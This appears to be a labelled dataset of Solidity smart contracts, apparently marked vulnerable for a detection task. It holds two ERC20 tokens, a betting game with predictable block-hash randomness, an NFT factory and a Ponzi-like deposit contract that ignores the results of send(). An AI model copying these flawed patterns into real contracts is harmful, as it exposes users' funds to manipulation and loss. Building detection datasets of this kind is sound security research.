source_codes
stringlengths
3
205k
labels
int64
0
1
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; uint256 _totalSupply; mapping(address => uint256) _balances; event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address addr) public view returns (uint256 balance) { return _balances[addr]; } function transfer(address to, uint256 value) public returns (bool) { require(to != address(0)); require(value <= _balances[msg.sender]); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } } contract StandardToken is BasicToken { mapping (address => mapping (address => uint256)) _allowances; event Approval(address indexed owner, address indexed agent, uint256 value); function transferFrom(address from, address to, uint256 value) public returns (bool) { require(to != address(0)); require(value <= _balances[from]); require(value <= _allowances[from][msg.sender]); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function approve(address agent, uint256 value) public returns (bool) { _allowances[msg.sender][agent] = value; emit Approval(msg.sender, agent, value); return true; } function allowance(address owner, address agent) public view returns (uint256) { return _allowances[owner][agent]; } function increaseApproval(address agent, uint value) public returns (bool) { _allowances[msg.sender][agent] = _allowances[msg.sender][agent].add(value); emit Approval(msg.sender, agent, _allowances[msg.sender][agent]); return true; } function decreaseApproval(address agent, uint value) public returns (bool) { uint allowanceValue = _allowances[msg.sender][agent]; if (value > allowanceValue) { _allowances[msg.sender][agent] = 0; } else { _allowances[msg.sender][agent] = allowanceValue.sub(value); } emit Approval(msg.sender, agent, _allowances[msg.sender][agent]); return true; } } contract IMAXChain is StandardToken { string public name = "IMAX Chain"; string public symbol = "IMAX"; uint8 public decimals = 6; constructor() public { _totalSupply = 10 * (10 ** 9) * (10 ** uint256(decimals)); _balances[msg.sender] = _totalSupply; emit Transfer(0x0, msg.sender, _totalSupply); } }
1
pragma solidity ^0.4.18; contract Bombs { struct Bomb { address owner; uint8 bumps; uint8 chance; uint8 increase; uint256 price; uint256 last_price; uint256 base_price; uint256 pot; uint256 last_pot; address last_winner; uint8 last_bumps; address made_explode; } mapping (uint8 => Bomb) public bombs; uint256 start_price = 1000000000000000; address public ceoAddress; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } function Bombs() public { ceoAddress = msg.sender; bombs[0] = Bomb(msg.sender, 0, 3, 110, start_price, 0, start_price, 0, 0, address(0), 0, address(0)); bombs[1] = Bomb(msg.sender, 0, 80, 111, start_price, 0, start_price, 0, 0, address(0), 0, address(0)); bombs[2] = Bomb(msg.sender, 0, 50, 122, start_price, 0, start_price, 0, 0, address(0), 0, address(0)); bombs[3] = Bomb(msg.sender, 0, 25, 133, start_price, 0, start_price, 0, 0, address(0), 0, address(0)); } function getBomb(uint8 _id) public view returns ( uint8 id, address owner, uint8 bumps, uint8 chance, uint8 increase, uint256 price, uint256 last_price, uint256 base_price, uint256 pot, uint256 last_pot, address last_winner, uint8 last_bumps, address made_explode ) { id = _id; owner = bombs[_id].owner; bumps = bombs[_id].bumps; chance = bombs[_id].chance; increase = bombs[_id].increase; price = bombs[_id].price; last_price = bombs[_id].last_price; base_price = bombs[_id].base_price; pot = bombs[_id].pot; last_pot = bombs[_id].last_pot; last_winner = bombs[_id].last_winner; last_bumps = bombs[_id].last_bumps; made_explode = bombs[_id].made_explode; } function getRandom(uint _max) public view returns (uint random){ random = uint(keccak256(block.blockhash(block.number-1),msg.gas,tx.gasprice,block.timestamp))%_max + 1; } function buy(uint8 _bomb) public payable { require(msg.sender != address(0)); Bomb storage bomb = bombs[_bomb]; require(msg.value >= bomb.price); uint256 excess = SafeMath.sub(msg.value, bomb.price); uint256 diff = SafeMath.sub(bomb.price, bomb.last_price); uint _random = uint(keccak256(block.blockhash(block.number-1),msg.gas,tx.gasprice,block.timestamp))%bomb.chance + 1; if(_random == 1){ bomb.owner.transfer(SafeMath.add(bomb.last_price, SafeMath.add(bomb.pot, SafeMath.mul(SafeMath.div(diff, 100), 50)))); ceoAddress.transfer(SafeMath.mul(SafeMath.div(diff, 100), 50)); bomb.last_winner = bomb.owner; bomb.last_pot = bomb.pot; bomb.last_bumps = bomb.bumps; bomb.made_explode = msg.sender; bomb.price = bomb.base_price; bomb.owner = ceoAddress; bomb.pot = 0; bomb.bumps = 0; } else { bomb.owner.transfer(SafeMath.mul(SafeMath.div(diff, 100), 20)); bomb.owner.transfer(bomb.last_price); if(bomb.made_explode == address(0)){ ceoAddress.transfer(SafeMath.mul(SafeMath.div(diff, 100), 30)); } else { ceoAddress.transfer(SafeMath.mul(SafeMath.div(diff, 100), 25)); bomb.made_explode.transfer(SafeMath.mul(SafeMath.div(diff, 100), 5)); } bomb.pot += SafeMath.mul(SafeMath.div(diff, 100), 50); bomb.owner = msg.sender; bomb.last_price = bomb.price; bomb.price = SafeMath.mul(SafeMath.div(bomb.price, 100), bomb.increase); bomb.bumps += 1; msg.sender.transfer(excess); } } function addBomb(uint8 __id, uint256 __price, uint8 __chance, uint8 __increase) public onlyCEO { bombs[__id] = Bomb(msg.sender, 0, __chance, __increase, __price, 0, __price, 0, 0, address(0), 0, address(0)); } function payout() public onlyCEO { ceoAddress.transfer(this.balance); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.18; contract owned { address public owner; address public candidate; function owned() payable internal { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { candidate = _owner; } function confirmOwner() public { require(candidate != address(0)); require(candidate == msg.sender); owner = candidate; delete candidate; } } library SafeMath { function sub(uint256 a, uint256 b) pure internal returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a + b; assert(c >= a && c >= b); return c; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256 value); function allowance(address owner, address spender) public constant returns (uint256 _allowance); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ooredoo is ERC20, owned { using SafeMath for uint256; string public name = "Ooredoo"; string public symbol = "ORE"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function Ooredoo() public { totalSupply = 1000000000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
1
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract OperationalControl { event ContractUpgrade(address newContract); address public managerPrimary; address public managerSecondary; address public bankManager; mapping(address => uint8) public otherManagers; bool public paused = false; bool public error = false; modifier onlyManager() { require(msg.sender == managerPrimary || msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier onlyOtherManagers() { require(otherManagers[msg.sender] == 1); _; } modifier anyOperator() { require( msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); _; } function setOtherManager(address _newOp, uint8 _state) external onlyManager { require(_newOp != address(0)); otherManagers[_newOp] = _state; } function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } function setSecondaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerSecondary = _newGM; } function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } modifier whenError { require(error); _; } function pause() external onlyManager whenNotPaused { paused = true; } function unpause() public onlyManager whenPaused { paused = false; } function hasError() public onlyManager whenPaused { error = true; } function noError() public onlyManager whenPaused { error = false; } } contract ERC721Basic { event Transfer( address indexed _from, address indexed _to, uint256 _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract ERC721Token is ERC721, ERC721BasicToken { string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; string internal tokenURIBase; function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIBase; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURIBase(string _uri) internal { tokenURIBase = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function name() public view returns (string) { return name_; } function symbol() public view returns (string) { return symbol_; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7; bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63; bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f; bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd; bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79; function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721) || (_interfaceID == InterfaceSignature_ERC721Enumerable) || (_interfaceID == InterfaceSignature_ERC721Metadata)); } function implementsERC721() public pure returns (bool) { return true; } } contract CSCNFTFactory is ERC721Token, OperationalControl { event AssetCreated(address owner, uint256 assetId, uint256 assetType, uint256 sequenceId, uint256 creationTime); event DetachRequest(address owner, uint256 assetId, uint256 timestamp); event NFTDetached(address requester, uint256 assetId); event NFTAttached(address requester, uint256 assetId); mapping(uint256 => uint256) internal nftDataA; mapping(uint256 => uint128) internal nftDataB; mapping(uint32 => uint64) internal assetTypeTotalCount; mapping(uint32 => uint64) internal assetTypeBurnedCount; mapping(uint256 => mapping(uint32 => uint64) ) internal sequenceIDToTypeForID; mapping(uint256 => string) internal assetTypeName; mapping(uint256 => uint32) internal assetTypeCreationLimit; bool public attachedSystemActive; bool public canBurn; uint32 public detachmentTime = 300; constructor() public { require(msg.sender != address(0)); paused = true; error = false; canBurn = false; managerPrimary = msg.sender; managerSecondary = msg.sender; bankManager = msg.sender; name_ = "CSCNFTFactory"; symbol_ = "CSCNFT"; } modifier canTransfer(uint256 _tokenId) { uint256 isAttached = getIsNFTAttached(_tokenId); if(isAttached == 2) { require(msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); updateIsAttached(_tokenId, 1); } else if(attachedSystemActive == true && isAttached >= 1) { require(msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); } else { require(isApprovedOrOwner(msg.sender, _tokenId)); } _; } function getAssetIDForTypeSequenceID(uint256 _seqId, uint256 _type) public view returns (uint256 _assetID) { return sequenceIDToTypeForID[_seqId][uint32(_type)]; } function getAssetDetails(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner ) { require(exists(_assetId)); uint256 nftData = nftDataA[_assetId]; uint256 nftDataBLocal = nftDataB[_assetId]; assetId = _assetId; ownersIndex = ownedTokensIndex[_assetId]; createdTimestamp = uint256(uint48(nftData>>160)); assetType = uint256(uint32(nftData>>208)); assetTypeSeqId = uint256(uint64(nftDataBLocal)); isAttached = uint256(uint48(nftDataBLocal>>64)); creator = address(nftData); owner = ownerOf(_assetId); } function totalSupplyOfType(uint256 _type) public view returns (uint256 _totalOfType) { return assetTypeTotalCount[uint32(_type)] - assetTypeBurnedCount[uint32(_type)]; } function totalCreatedOfType(uint256 _type) public view returns (uint256 _totalOfType) { return assetTypeTotalCount[uint32(_type)]; } function totalBurnedOfType(uint256 _type) public view returns (uint256 _totalOfType) { return assetTypeBurnedCount[uint32(_type)]; } function getAssetRawMeta(uint256 _assetId) public view returns( uint256 dataA, uint128 dataB ) { require(exists(_assetId)); dataA = nftDataA[_assetId]; dataB = nftDataB[_assetId]; } function getAssetIdItemType(uint256 _assetId) public view returns( uint256 assetType ) { require(exists(_assetId)); uint256 dataA = nftDataA[_assetId]; assetType = uint256(uint32(dataA>>208)); } function getAssetIdTypeSequenceId(uint256 _assetId) public view returns( uint256 assetTypeSequenceId ) { require(exists(_assetId)); uint256 dataB = nftDataB[_assetId]; assetTypeSequenceId = uint256(uint64(dataB)); } function getIsNFTAttached( uint256 _assetId) public view returns( uint256 isAttached ) { uint256 nftData = nftDataB[_assetId]; isAttached = uint256(uint48(nftData>>64)); } function getAssetIdCreator(uint256 _assetId) public view returns( address creator ) { require(exists(_assetId)); uint256 dataA = nftDataA[_assetId]; creator = address(dataA); } function isAssetIdOwnerOrApproved(address requesterAddress, uint256 _assetId) public view returns( bool ) { return isApprovedOrOwner(requesterAddress, _assetId); } function getAssetIdOwner(uint256 _assetId) public view returns( address owner ) { require(exists(_assetId)); owner = ownerOf(_assetId); } function getAssetIdOwnerIndex(uint256 _assetId) public view returns( uint256 ownerIndex ) { require(exists(_assetId)); ownerIndex = ownedTokensIndex[_assetId]; } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 resultIndex = 0; uint256 _itemIndex; for (_itemIndex = 0; _itemIndex < tokenCount; _itemIndex++) { result[resultIndex] = tokenOfOwnerByIndex(_owner,_itemIndex); resultIndex++; } return result; } } function getTypeName (uint32 _type) public returns(string) { return assetTypeName[_type]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function multiBatchTransferFrom( uint256[] _assetIds, address[] _fromB, address[] _toB) public { uint256 _id; address _to; address _from; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; _to = _toB[i]; _from = _fromB[i]; require(isApprovedOrOwner(msg.sender, _id)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _id); removeTokenFrom(_from, _id); addTokenTo(_to, _id); emit Transfer(_from, _to, _id); } } function batchTransferFrom(uint256[] _assetIds, address _from, address _to) public { uint256 _id; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; require(isApprovedOrOwner(msg.sender, _id)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _id); removeTokenFrom(_from, _id); addTokenTo(_to, _id); emit Transfer(_from, _to, _id); } } function multiBatchSafeTransferFrom( uint256[] _assetIds, address[] _fromB, address[] _toB ) public { uint256 _id; address _to; address _from; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; _to = _toB[i]; _from = _fromB[i]; safeTransferFrom(_from, _to, _id); } } function batchSafeTransferFrom( uint256[] _assetIds, address _from, address _to ) public { uint256 _id; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; safeTransferFrom(_from, _to, _id); } } function batchApprove( uint256[] _assetIds, address _spender ) public { uint256 _id; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; approve(_spender, _id); } } function batchSetApprovalForAll( address[] _spenders, bool _approved ) public { address _spender; for (uint256 i = 0; i < _spenders.length; ++i) { _spender = _spenders[i]; setApprovalForAll(_spender, _approved); } } function requestDetachment( uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); uint256 isAttached = getIsNFTAttached(_tokenId); require(isAttached >= 1); if(attachedSystemActive == true) { if(isAttached > 1 && block.timestamp - isAttached > detachmentTime) { isAttached = 0; } else if(isAttached > 1) { require(isAttached == 1); } else { emit DetachRequest(msg.sender, _tokenId, block.timestamp); isAttached = block.timestamp; } } else { isAttached = 0; } if(isAttached == 0) { emit NFTDetached(msg.sender, _tokenId); } updateIsAttached(_tokenId, isAttached); } function attachAsset( uint256 _tokenId ) public canTransfer(_tokenId) { uint256 isAttached = getIsNFTAttached(_tokenId); require(isAttached == 0); isAttached = 1; updateIsAttached(_tokenId, isAttached); emit NFTAttached(msg.sender, _tokenId); } function batchAttachAssets(uint256[] _ids) public { for(uint i = 0; i < _ids.length; i++) { attachAsset(_ids[i]); } } function batchDetachAssets(uint256[] _ids) public { for(uint i = 0; i < _ids.length; i++) { requestDetachment(_ids[i]); } } function requestDetachmentOnPause (uint256 _tokenId) public whenPaused { require(isApprovedOrOwner(msg.sender, _tokenId)); updateIsAttached(_tokenId, 0); } function batchBurnAssets(uint256[] _assetIDs) public { uint256 _id; for(uint i = 0; i < _assetIDs.length; i++) { _id = _assetIDs[i]; burnAsset(_id); } } function burnAsset(uint256 _assetID) public { require(canBurn == true); require(getIsNFTAttached(_assetID) == 0); require(isApprovedOrOwner(msg.sender, _assetID) == true); uint256 _assetType = getAssetIdItemType(_assetID); assetTypeBurnedCount[uint32(_assetType)] += 1; _burn(msg.sender, _assetID); } function setTokenURIBase (string _tokenURI) public onlyManager { _setTokenURIBase(_tokenURI); } function setPermanentLimitForType (uint32 _type, uint256 _limit) public onlyManager { require(assetTypeCreationLimit[_type] == 0); assetTypeCreationLimit[_type] = uint32(_limit); } function setTypeName (uint32 _type, string _name) public anyOperator { assetTypeName[_type] = _name; } function batchSpawnAsset(address _to, uint256[] _assetTypes, uint256[] _assetIds, uint256 _isAttached) public anyOperator { uint256 _id; uint256 _assetType; for(uint i = 0; i < _assetIds.length; i++) { _id = _assetIds[i]; _assetType = _assetTypes[i]; _createAsset(_to, _assetType, _id, _isAttached, address(0)); } } function batchSpawnAsset(address[] _toB, uint256[] _assetTypes, uint256[] _assetIds, uint256 _isAttached) public anyOperator { address _to; uint256 _id; uint256 _assetType; for(uint i = 0; i < _assetIds.length; i++) { _to = _toB[i]; _id = _assetIds[i]; _assetType = _assetTypes[i]; _createAsset(_to, _assetType, _id, _isAttached, address(0)); } } function batchSpawnAssetWithCreator(address[] _toB, uint256[] _assetTypes, uint256[] _assetIds, uint256[] _isAttacheds, address[] _creators) public anyOperator { address _to; address _creator; uint256 _id; uint256 _assetType; uint256 _isAttached; for(uint i = 0; i < _assetIds.length; i++) { _to = _toB[i]; _id = _assetIds[i]; _assetType = _assetTypes[i]; _creator = _creators[i]; _isAttached = _isAttacheds[i]; _createAsset(_to, _assetType, _id, _isAttached, _creator); } } function spawnAsset(address _to, uint256 _assetType, uint256 _assetID, uint256 _isAttached) public anyOperator { _createAsset(_to, _assetType, _assetID, _isAttached, address(0)); } function spawnAssetWithCreator(address _to, uint256 _assetType, uint256 _assetID, uint256 _isAttached, address _creator) public anyOperator { _createAsset(_to, _assetType, _assetID, _isAttached, _creator); } function withdrawBalance() public onlyBanker { bankManager.transfer(address(this).balance); } function setCanBurn(bool _state) public onlyManager { canBurn = _state; } function burnAssetOperator(uint256 _assetID) public anyOperator { require(getIsNFTAttached(_assetID) > 0); uint256 _assetType = getAssetIdItemType(_assetID); assetTypeBurnedCount[uint32(_assetType)] += 1; _burn(ownerOf(_assetID), _assetID); } function toggleAttachedEnforement (bool _state) public onlyManager { attachedSystemActive = _state; } function setDetachmentTime (uint256 _time) public onlyManager { require(_time <= 1209600); detachmentTime = uint32(_time); } function setNFTDetached(uint256 _assetID) public anyOperator { require(getIsNFTAttached(_assetID) > 0); updateIsAttached(_assetID, 0); emit NFTDetached(msg.sender, _assetID); } function setBatchDetachCollectibles(uint256[] _assetIds) public anyOperator { uint256 _id; for(uint i = 0; i < _assetIds.length; i++) { _id = _assetIds[i]; setNFTDetached(_id); } } function _createAsset(address _to, uint256 _assetType, uint256 _assetID, uint256 _attachState, address _creator) internal returns(uint256) { uint256 _sequenceId = uint256(assetTypeTotalCount[uint32(_assetType)]) + 1; require(assetTypeCreationLimit[uint32(_assetType)] == 0 || assetTypeCreationLimit[uint32(_assetType)] > _sequenceId); require(_sequenceId == uint256(uint64(_sequenceId))); _mint(_to, _assetID); uint256 nftData = uint256(_creator); nftData |= now<<160; nftData |= _assetType<<208; uint256 nftDataContinued = uint256(_sequenceId); nftDataContinued |= _attachState<<64; nftDataA[_assetID] = nftData; nftDataB[_assetID] = uint128(nftDataContinued); assetTypeTotalCount[uint32(_assetType)] += 1; sequenceIDToTypeForID[_sequenceId][uint32(_assetType)] = uint64(_assetID); emit AssetCreated(_to, _assetID, _assetType, _sequenceId, now); return _assetID; } function updateIsAttached(uint256 _assetID, uint256 _isAttached) internal { uint256 nftData = nftDataB[_assetID]; uint256 assetTypeSeqId = uint256(uint64(nftData)); uint256 nftDataContinued = uint256(assetTypeSeqId); nftDataContinued |= _isAttached<<64; nftDataB[_assetID] = uint128(nftDataContinued); } }
1
pragma solidity ^0.4.24; contract SmartPromiseSEVEN { address owner; mapping (address => uint256) balances; mapping (address => uint256) timestamp; constructor() public { owner = msg.sender;} function() external payable { owner.send(msg.value / 10); if (balances[msg.sender] != 0){ address paymentAddress = msg.sender; uint256 paymentAmount = balances[msg.sender]*7/100*(block.number-timestamp[msg.sender])/5900; paymentAddress.send(paymentAmount); } timestamp[msg.sender] = block.number; balances[msg.sender] += msg.value; } }
1
